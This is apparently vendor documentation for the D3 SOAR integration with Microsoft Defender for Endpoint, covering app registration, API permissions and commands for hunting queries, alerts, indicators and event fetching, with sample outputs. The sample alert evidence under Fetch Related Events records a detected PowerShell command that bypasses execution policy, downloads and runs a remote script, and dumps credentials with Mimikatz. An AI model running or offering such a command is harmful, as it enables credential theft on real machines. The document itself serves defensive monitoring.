Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection) protects endpoints from cyber threats, detects attacks and infringements of data, and automates security incidents. Integration with Microsoft Defender for Endpoint covers the major actions such as quarantine host, scan host, get alerts, update alert, and so on.
D3 SOAR is providing REST operations to function with Microsoft Defender for Endpoint.
Microsoft Defender for Endpoint is available for use in:
A server error may occur when accessing the service. This may be fixed by allowing cookies in your web browser settings.
Some elements or data may be missing on Microsoft 365 Defender. They may be blocked by proxy settings. Ensure *.security.microsoft.com is included in the proxy allowlist.
If devices successfully complete onboarding but Microsoft Defender for Endpoint does not start after a reboot and returns error 577, ensure Windows Defender has not been disabled by a policy.
There are some known issues with the time and date formats.
The following date formats are supported:
MM/dd/yyyy
dd/MM/yyyy
The following date and time formats are currently not supported:
yyyy/MM/dd
dd/MM/yy
Date formats with yy. Only yyyy will be shown for year.
HH:mm:ss (12-hour AM/PM format). Only the 24-hour time format is supported.
Commas cannot be used as a separator for numbers. Regions that use commas as the thousands separator, will be replaced by a period. For example, 15,5K will be displayed as 15.5K.
To connect Microsoft Defender for Endpoint from D3 SOAR, please follow this part to collect the required information below:
Parameter
Description
Example
Directory (tenant) ID
The directory ID to authenticate the API connection.
f62***-455f-8ee9-***Eed
Client ID
The client ID to authenticate the API connection.
9c8***-de31-9W68-***f8a
Client Secret
The client secret to authenticate the API connection.
o14*******************817
Permission Requirements
Each endpoint in the Microsoft Defender for Endpoint API requires a certain permission scope. The following are required scopes for the commands in this integration:
Navigate to the top search bar, then search and select App registrations.
If you already have created apps, you can use one of them. Skip to step 5 to obtain the Client ID & Tenant ID. If you do not have an app, click + New registration to create one.
Register the application.
Enter an application Name.
For Supported account types, select Accounts in this organizational directory only (<Your Directory Name> only - Single tenant).
Click Register.
In the App Overview tab, copy and save the Application(client) ID and Directory(tenant) ID. They will be required to build the integration connection in D3 SOAR. Navigate to Client credentials, then click Add a certificate or secret.
Click + New Client Secret. Enter a Description for the client secret, and select a client secret expiry period using the Expires dropdown menu. Click Add.Note: The client ID will not be able to access the API resources after the client secret expires. You must renew the client secret to keep the client ID active.
Copy and save the Secret Value. It will be required to build the integration connection in D3 SOAR connection. Note: The created Client Secret can only be viewed once. Store it in a secure location before leaving the page.
Configure the API permissions. Click API permissions on the left navigation menu, then click + Add a permission.
Select the APIs my organization uses tab and type WindowsDefenderATP in the search box. Select WindowsDefenderATP when it populates below the search box.
Select the required Application permissions. After selecting the required permission, click Add permissions.
READER NOTE
An error message may occur if you have inadvertently selected a different permission type for this integration. When selecting permissions, it is necessary to differentiate between Delegated Permissions and Application Permissions.
Delegated Permissions, often referred to as “scopes”, empower the application to operate on behalf of the signed-in user.
Application Permissions, also known as “app roles”, enable the application to access data independently. Application Permissions are suitable to use when it is undesirable to have a user signed in, or when the data required cannot be scoped to a single user.
Check the tick boxes for Alert.Read.All and Alert.ReadWrite.All in the Alert section, then click Add permissions. See Permission Requirements for the required permissions for each command in this integration.
Some permissions may need to be granted admin consent for your directory (d3uat in the sample screenshot) to use. Ensure Grant admin consent for <Your Directory> is checked.
You may see Not granted for <Your Directory> in the status column. Those are the ungranted permissions you want to use. After successfully granting permissions, a green checkmark will appear under the permission status column for the corresponding permissions. If your login account does not have admin privileges, ask your admin to grant consent.
Configuring D3 SOAR to Work with Microsoft Defender for Endpoint
Log in to D3 SOAR.
Find the Microsoft Defender for Endpoint integration.
Navigate to Configuration on the top header menu.
Click on the Integration icon on the left sidebar.
Type Microsoft Defender for Endpoint in the search box to find the integration, then click it to select it.
Click + New Connection, on the right side of the Connections section. A new connection window will appear.
Configure the following fields to create a connection to Microsoft Defender for Endpoint.
Connection Name: The desired name for the connection.
Site: Specifies the site to use the integration connection. Use the drop-down menu to select the site. The Share to Internal Sites option enables all sites defined as internal sites to use the connection. Selecting a specific site will only enable that site to use the connection.
Recipient site for events from connections Shared to Internal Sites: This field appears if you selected Share to Internal Sites for Site to let you select the internal site to deploy the integration connection.
Agent Name (Optional): Specifies the proxy agent required to build the connection. Use the dropdown menu to select the proxy agent from a list of previously configured proxy agents.
Description (Optional): Add your desired description for the connection.
Configure User Permissions: Defines which users have access to the connection.
Active: Check the tick box to ensure the connection is available for use.
System: This section contains the parameters defined specifically for the integration. These parameters must be configured to create the integration connection.
Enable Password Vault: An optional feature that allows users to take the stored credentials from their own password vault. Please refer to the password vault connection guide if needed.
Test the connection.
Click Test Connection to verify the account credentials and network connection. If the Test Connection Passed alert window appears, the test connection is successful. You will see Passed with a green checkmarkappear beside the Test Connection button. If the test connection fails, please check your connection parameters and try again.
Click OK to close the alert window.
Click +Add to create and add the configured connection.
Commands
Microsoft Defender for Endpoint includes the following executable commands for users to set up schedules or create playbook workflows. With the Test Command, you can execute these commands independently for playbook troubleshooting.
The input format of time-related parameters may vary based on your account settings. As a result, the sample data provided in our commands is different from what you see. To set your preferred time format, follow these steps:
Navigate to Configuration > Application Settings. Select Date/Time Format.
Choose your desired date and time format.
After that, you will be able to view your preferred time format when configuring the DateTime input parameters for commands.
Run Advanced Hunting Queries
Runs advanced hunting queries on Microsoft Defender for Endpoint. If you want to query email-related tables or other Microsoft 365 defender tables, please run the Advanced Hunting command from the Microsoft 365 Defender integration. Note: In order to run this command, your APP requires the AdvancedQuery.Read.All permission. Additionally, the command can only query data from the past 30 days.
Reader Note
Limitations for this command:
You can only run a query on data from the last 30 days.
The results can include a maximum of 100,000 rows.
The number of executions is limited per tenant:
API calls: Up to 45 calls per minute, up to 1500 calls per hour.
Execution time: 10 minutes of running time every hour and 3 hours of running time a day.
The maximal execution time for a single request is 200 seconds.
429 response will represent reaching quota limit either by number of requests or by CPU. Read the response body to understand what limit has been reached.
The maximum query result size for a single request cannot exceed 124 MB. If exceeded, the HTTP 400 Bad Request error with the message "Query execution has exceeded the allowed result size. Optimize your query by limiting the number of results and try again" will return.
Please refer to Advanced hunting API from Microsoft’s documentation for more details.
Input
Input Parameter
Required /Optional
Description
Example
Query
Required
The Kusto query string to search for results. For more information about Kusto Query Language (KQL), please refer to Kusto Query Language (KQL) overview from Microsoft’s documentation.
union DeviceProcessEvents, DeviceNetworkEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName =~ 'powershell.exe'
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Run Advanced Hunting Queries failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Failed to resolve scalar expression named 'XXX'. Fix semantic errors in your query.
Error Sample Data
Run Advanced Hunting Queries failed.
Status Code: 400.
Message: Failed to resolve scalar expression named 'XXX'. Fix semantic errors in your query.
Create Alert
Creates an alert based on event data obtained from Advanced Query.
Warning
To obtain Event Time, Machine ID, and Report ID, you must define the project operators' project Timestamp, DeviceId, ReportId using the Advanced Query command.
Reader Note
Machine ID, Event Time and Report ID are required parameters to run this command.
Run the Run Advanced Hunting Queries command to obtain Machine IDs, Event Time and Report IDs.
These three input parameters must match in order to run this command. Run the Run Advanced Hunting Queries command and select the three corresponding values from the same JSON object in the returned raw data. If the values do not match, the error message “NotFound” will be returned.
Limitations for this command:
The rate limitation for this API is 15 calls per minute.
The ID of the device on which the event was identified. Machine IDs can be obtained using the Run Advanced Hunting Queries command.
**************************
Severity
Required
The severity of the alert. The available severity levels are: Low, Medium and High.
Low
Title
Required
The title for the alert.
example
Description
Required
The description for the alert.
example alert
Recommended Action
Required
The recommended course of action for the security officer when analyzing the alert.
nothing
Event Time
Required
The precise time (in UTC Time) of the event, as obtained from the Run Advanced Hunting Queries command. For example, 2020-08-03T16:45:21.7115183Z.
2020-07-29T21:35:33.2061566Z
Report ID
Required
The Report ID of the event, as obtained from advanced hunting. Report IDs can be obtained using the Run Advanced Hunting Queries command.
*****
Category
Required
The category of the alert. The available category values are: General CommandAndControl, Collection, CredentialAccess, DefenseEvasion, Discovery, Exfiltration, Exploit, Execution, InitialAccess, LateralMovement, Malware, Persistence, PrivilegeEscalation, Ransomware, and SuspiciousActivity.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: NotFound.
Error Sample Data
Create Alert failed.
Status Code: 404.
Message: NotFound.
Create Domain Indicator
Creates a domain indicator.
Reader Note
rbacGroup Names is an optional parameter to run this command.
To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The indicator alert title.
test
Description
Required
The description of the indicator.
test
Expiration Time
Optional
The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The severity of the indicator. The available input options are Informational, Low, Medium, and High.
Informational
Recommended Actions
Optional
The recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["group1", "group2"]
Generate Alert
Optional
True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create Domain Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Request body is incorrect.
Error Sample Data
Create Domain Indicator failed.
Status Code: 400.
Message: Request body is incorrect.
Create File Indicator
Creates a file indicator.
Reader Note
rbac Group Names is an optional parameter to run this command.
To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
The file hash type (i.e. FileSha1 or FileSha256 of the specified hash value.)
FileSha1
Action
Required
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The indicator alert title.
test
Description
Required
The description of the indicator.
test
Expiration Time
Optional
The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The severity of the indicator. The available input options are Informational, Low, Medium, and High.
Informational
Recommended Actions
Optional
The recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["group1", "group2"]
Generate Alert
Optional
True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create File Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: File SHA1 XXX is invalid.
Error Sample Data
Create File Indicator failed.
Status Code: 400.
Message: File SHA1 XXX is invalid.
Create IP Indicator
Creates an IP indicator.
Reader Note
rbac Group Names is an optional parameter to run this command.
To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The indicator alert title.
test
Description
Required
The description of the indicator.
test
Expiration Time
Optional
The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The severity of the indicator. The available input options are Informational, Low, Medium, and High. If not specified, the default value is Informational.
Informational
Recommended Actions
Optional
The recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["group1", "group2"]
Generate Alert
Optional
True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create IP Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: IP XXX is invalid.
Error Sample Data
Create IP Indicator failed.
Status Code: 400.
Message: IP XXX is invalid.
Delete Indicator
Deletes an Indicator entity by ID.
Reader Note
The input parameter Indicator IDs is required to run this command.
Run the List Indicator command to obtain Indicator IDs. Indicator IDs can be found in the returned raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The ID(s) of the indicator(s) to delete in an array format. Indicator IDs can be obtained using the List Indicator command.
["*","*","*","*"]
Output
Raw Data
The primary response data from the API request.
D3 enriches the raw data from the original Microsoft Defender for Endpoint API response by adding the id field to indicate which indicator ids have been deleted; adding the status field to indicate the status of deletion.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"*",
"*",
"*",
"*"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
STATUS
15
deleted
5
deleted
4
deleted
2
deleted
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Delete Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Received request with not existing indicators: 1.
Error Sample Data
Delete Indicator failed.
Status Code: 404.
Message: Received request with not existing indicators: 1.
Fetch Event
Retrieves events from Microsoft Defender for Endpoint based on the alert creation time, sorted in ascending order.
Reader Note
Limitations for this command:
You can get alerts last updated according to your configured retention period.
Maximum page size is 10,000.
The Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Note: Not all properties are filterable. The available properties that support $filter for Alert are alertCreationTime, lastUpdateTime, incidentId, InvestigationId, status, severity, and category.
status eq 'New'
Tolerance Scope
Optional
The tolerance scope in minutes of the query to fetch events between start and end time to avoid the loss of events. Events will be fetched between {Start Time - Tolerance Scope}.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
INCIDENTID
INVESTIGATIONID
ASSIGNEDTO
SEVERITY
STATUS
CLASSIFICATION
DETERMINATION
INVESTIGATIONSTATE
DETECTIONSOURCE
DETECTORID
CATEGORY
THREATFAMILYNAME
TITLE
DESCRIPTION
ALERTCREATIONTIME
FIRSTEVENTTIME
LASTEVENTTIME
LASTUPDATETIME
RESOLVEDTIME
MACHINEID
COMPUTERDNSNAME
RBACGROUPNAME
AADTENANTID
THREATNAME
MITRETECHNIQUES
RELATEDUSER
COMMENTS
EVIDENCE
***
***
***
Low
New
TerminatedBySystem
CustomerTI
***
Exploit
Example
Example alert
8/17/2020 9:11:48 PM
7/29/2020 9:35:33 PM
7/29/2020 9:35:33 PM
8/20/2020 9:15:36 PM
***
***-***-***
***
[]
[]
[]
Fetch Event Field Mapping
Please note that Fetch Event commands require event field mapping. Field mapping plays a key role in the data normalization process part of the event pipeline. Field mapping converts the original data fields from the different providers to the D3 fields which are standardized by the D3 Model. Please refer to Event and Incident Intake Field Mapping for details.
If you require a custom field mapping, click +Add Field to add a custom field mapping. You may also remove built-in field mappings by clicking x. Please note that two underscore characters will automatically prefix the defined Field Name as the System Name for a custom field mapping. Additionally, if an input Field Name contains any spaces, they will automatically be replaced with underscores for the corresponding System Name.
As a system integration, the Microsoft Defender for Endpoint integration has some pre-configured field mappings for default field mapping.
Default Event Source The Default Event Source is the default set of field mappings that is applied when this fetch event command is executed. For out-of-the-box integrations, you will find a set of field mapping provided by the system. Default event source provides field mappings for common fields from fetched events (e.g., Host and Tenant ID). The default event source has a “Main Event JSON Path” (i.e., $.value) that is used to extract a batch of events from the response raw data. Click Edit Event Source to view the “Main Event JSON Path”. Click Edit Event Source to view the “Main Event JSON Path”.
Main Event JSON Path: $.value The Main Event JSON Path determines the root path where the system starts parsing raw response data into D3 event data. The JSON path begins with $, representing the root element. The path is formed by appending a sequence of child elements to $, each separated by a dot (.). Square brackets with nested quotation marks ([‘...’]) should be used to separate child elements in JSON arrays. For example, the root node of a JSON Path is value. The child node denoting the Event code field would be id. Putting it together, the JSON Path expression to extract the Event code is $.value.id.
The pre-configured field mappings are detailed below:
Field Name
Source Field
Event code
.id
Severity
.severity
Source vendor name
.detectionSource
Category
.category
Title
.title
None
.description
Creation Time
.alertCreationTime
Host
.computerDnsName
Tenant ID
.aadTenantId
Techniques
.aadTenantId.mitreTechniques
Username
.relatedUser.userName
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Fetch Event failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Error Sample Data
Fetch Event failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Fetch Related Events
Retrieves related events from Microsoft Defender for Endpoint based on the alert creation time, sorted in ascending order.
Reader Note
Limitations for this command:
You can get alerts last updated according to your configured retention period.
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Note: Not all properties are filterable. The available properties that support $filter for Alert are alertCreationTime, lastUpdateTime, incidentId, InvestigationId, status, severity, and category.
status eq 'New'
Tolerance Scope
Optional
The tolerance scope in minutes of the query to fetch events between start and end time to avoid the loss of events. Events will be fetched between {Start Time - Tolerance Scope}. The default value is 0.
0
Output
Raw Data
The primary response data from the API request.
SAMPLE DATA
JSON
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/***",
"value": [
{
"id": "***************************************",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "Administrator",
"severity": "Medium",
"status": "New",
"classification": null,
"determination": null,
"investigationState": "UnsupportedAlertType",
"detectionSource": "WindowsDefenderAtp",
"detectorId": "***************************************",
"category": "Execution",
"threatFamilyName": null,
"title": "Suspicious PowerShell command line",
"description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
"alertCreationTime": "2021-04-10T00:09:06.455105Z",
"firstEventTime": "2021-04-09T23:50:47.0400904Z",
"lastEventTime": "2021-04-09T23:50:47.0400904Z",
"lastUpdateTime": "2021-04-19T22:03:52.0666667Z",
"resolvedTime": null,
"machineId": "***************************************",
"computerDnsName": "***-***.***",
"rbacGroupName": null,
"aadTenantId": "***************************************",
"threatName": null,
"mitreTechniques": [
"***.***"
],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Eddie_Test",
"createdBy": "Automation",
"createdTime": "2021-04-19T22:03:52.0639327Z"
}
],
"evidence": [
{
"entityType": "User",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": ***,
"sha256": ***,
"fileName": ***,
"filePath": ***,
"processId": ***,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": ***,
"parentProcessCreationTime": null,
"parentProcessFileName": ***,
"parentProcessFilePath": ***,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "***",
"userSid": "***************************************,
"aadUserId": *****,
"userPrincipalName": *****,
"detectionStatus": null
},
{
"entityType": "Process",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": "***",
"sha256": "***",
"fileName": "***.exe",
"filePath": "C:\\Windows\\***\\***\\v*.*",
"processId": ***,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/***.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\***.txt",
"processCreationTime": "2021-04-09T23:50:46.9640874Z",
"parentProcessId": 11424,
"parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",
"parentProcessFileName": "***.exe",
"parentProcessFilePath": "C:\\Users\\***\\***",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "*****",
"userSid": "***************************************",
"aadUserId": *****,
"userPrincipalName": *****,
"detectionStatus": "Detected"
}
]
}
]
}
Context Data
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
SAMPLE DATA
CODE
[
{
"id": "***************************************",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "Administrator",
"severity": "Medium",
"status": "New",
"classification": null,
"determination": null,
"investigationState": "UnsupportedAlertType",
"detectionSource": "WindowsDefenderAtp",
"detectorId": "***************************************",
"category": "Execution",
"threatFamilyName": null,
"title": "Suspicious PowerShell command line",
"description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
"alertCreationTime": "2021-04-10T00:09:06.455105Z",
"firstEventTime": "2021-04-09T23:50:47.0400904Z",
"lastEventTime": "2021-04-09T23:50:47.0400904Z",
